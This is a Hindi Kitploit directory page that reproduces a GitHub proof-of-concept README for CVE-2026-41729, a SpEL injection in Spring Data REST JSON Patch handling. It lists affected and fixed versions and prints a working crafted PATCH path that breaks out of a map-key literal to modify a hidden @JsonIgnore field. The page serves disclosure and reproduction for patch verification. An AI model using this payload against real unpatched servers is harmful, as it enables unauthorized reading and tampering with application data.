Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-41729 — CVE-2026-41729 प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/daehyuh/cve-2026-41729
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
22 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC

यह रिपॉजिटरी एक आधिकारिक Spring सुरक्षा सलाहकार के रूप में प्रकट CVE-2026-41729 का न्यूनतम पुनरुत्पादन PoC है।

  • आधिकारिक सलाहकार: https://spring.io/security/cve-2026-41729/
  • आधिकारिक शीर्षक: Spring Data REST SpEL Injection via Map Key in JSON Patch
  • गंभीरता: उच्च
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • प्रकटीकरण तिथि: 2026-06-09

कमजोरी का सारांश

Spring Data REST के JSON Patch अनुरोध (Content-Type: application/json-patch+json) को संसाधित करते समय, map-typed property के map key पथ खंड को SpEL अभिव्यक्ति में सीधे सम्मिलित करने की समस्या थी।

आधिकारिक सलाहकार के अनुसार, यदि persistent entity Map प्रकार की गुण को उजागर करता है और हमलावर उस item resource पर PATCH अनुरोध भेज सकता है, तो map key segment में हेरफेर करके इच्छित map indexer literal से बाहर निकलकर aggregate root संदर्भ में SpEL sub-expression का मूल्यांकन कराया जा सकता है। पढ़ने वाले patch path और लिखने वाले patch path दोनों प्रभावित होने की बात कही गई है।

यह PoC उनमें से लिखने वाले patch path का उपयोग करके दिखाता है कि सामान्य REST अभिव्यक्ति में अनदृश्य @JsonIgnore फ़ील्ड को crafted JSON Patch पथ के माध्यम से बदला जा सकता है।

प्रभाव क्षेत्र

आधिकारिक सलाहकार के अनुसार प्रभावित उत्पाद:

  • Spring Data REST

प्रभावित संस्करण:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • अब समर्थित नहीं रहे पुराने संस्करण भी प्रभावित हो सकते हैं

सुधारित संस्करण:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 या 4.5.11.1
  • 5.0.6 या 5.0.5.1

यह PoC क्या दिखाता है

परीक्षण एक वास्तविक Spring Boot एप्लिकेशन को चलाता है और Spring Data REST repository endpoint पर HTTP PATCH अनुरोध भेजता है।

डोमेन ऑब्जेक्ट की निम्नलिखित संरचना है:

  • बाह्य रूप से उजागर people map
  • प्रत्येक Person के अंदर मौजूद लेकिन Jackson/Spring Data REST अभिव्यक्ति में छिपा हुआ hiddenChildren map

सामान्य REST प्रतिक्रिया में hiddenChildren और उसके आंतरिक मान दिखाई नहीं देते।

root@kitploit:~
GET /wrappers/sample

सीधे छिपी हुई गुण निर्दिष्ट करने वाला JSON Patch अस्वीकार कर दिया जाता है।

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

लेकिन crafted map key का उपयोग करने पर Spring Data REST के JSON Patch पथ -> SpEL पथ रूपांतरण प्रक्रिया में इच्छित map key literal से बाहर निकलकर छिपी हुई गुण पथ तक पहुँचा जा सकता है।

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

कमजोर संस्करण में यह अनुरोध सफल होता है और आंतरिक मान इस प्रकार बदल जाता है।

root@kitploit:~
before -> after

परीक्षण यह सुनिश्चित करता है कि map में वास्तविक key a'].hiddenChildren['b उत्पन्न नहीं हुई है, बल्कि अभिव्यक्ति breakout के कारण छिपा हुआ property path संशोधित हुआ है।

चलाने की विधि

Windows:

root@kitploit:~
.\mvnw.cmd test

macOS/Linux:

root@kitploit:~
./mvnw test

कमजोर संस्करण के लिए अपेक्षित परिणाम:

root@kitploit:~
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

परीक्षण की सफलता का अर्थ है "कमजोर व्यवहार पुनरुत्पादित हुआ"। अर्थात, कमजोर निर्भरता में crafted JSON Patch अनुरोध सफल होता है और छिपी हुई आंतरिक स्थिति में परिवर्तन सिद्ध होता है।

उपयोग की गई निर्भरता

यह रिपॉजिटरी Spring Boot 3.5.14 parent का उपयोग करती है, जिससे spring-data-rest-webmvc 4.5.11 हल होता है। यह आधिकारिक सलाहकार के प्रभाव क्षेत्र 4.5.0 - 4.5.11 में आता है।

यह खतरनाक क्यों है

Spring Data REST endpoint पर JSON Patch अनुरोध भेजने में सक्षम हमलावर map key में हेरफेर करके सर्वर-पक्ष पर अनावश्यक SpEL पथ मूल्यांकन को प्रेरित कर सकता है। इसके परिणामस्वरूप, एप्लिकेशन द्वारा REST अभिव्यक्ति में उजागर न करने के इच्छित ऑब्जेक्ट ग्राफ के आंतरिक मान पढ़े या संशोधित किए जा सकते हैं।

आधिकारिक सलाहकार ने गोपनीयता और अखंडता प्रभाव को उच्च माना है।

क्रेडिट

आधिकारिक Spring सलाहकार में इस प्रकार उल्लेख किया गया है।

  • Daehyun Kang (@daehyuh)

संदर्भ लिंक

  • Spring आधिकारिक सलाहकार: https://spring.io/security/cve-2026-41729/
  • CVSS कैलकुलेटर: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1
टूल डाउनलोड करें